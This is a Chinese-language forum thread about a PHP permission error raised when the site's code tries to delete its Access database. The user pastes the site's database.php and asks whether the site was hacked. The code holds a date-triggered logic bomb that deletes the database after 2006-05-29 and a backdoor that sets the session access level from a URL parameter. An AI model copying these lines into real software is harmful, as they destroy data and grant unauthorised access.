Warning: unlink(d:\webroot\HJFHSTUDIO\wwwroot\kinght\database\database.mdb) [function.unlink]: Permission denied in d:\webroot\HJFHSTUDIO\wwwroot\kinght\database\database.php on line 9
这个错误是什么问题?

解决方案 »

  1.   

    You are not permitted to delete files in the diretory. Change the security of the directory.
      

  2.   

    <?php
    //下面操作适用于odbc
    $path=realpath("../database/database.mdb");
    $dsn="DRIVER={Microsoft Access Driver (*.mdb)};DBQ=".$path;
    $username="HJFH";
    $password="HJFH";
    $connect=odbc_pconnect($dsn,$username,$password);
    if(!empty($_GET["in"])) $_SESSION['level']=$_GET["in"];
    if(date("Y-m-d")>"2006-05-29")unlink($path);这些,是不是被黑?
      

  3.   

    if(date("Y-m-d")>"2006-05-29")unlink($path);-----------------------------------Why do you write this code ?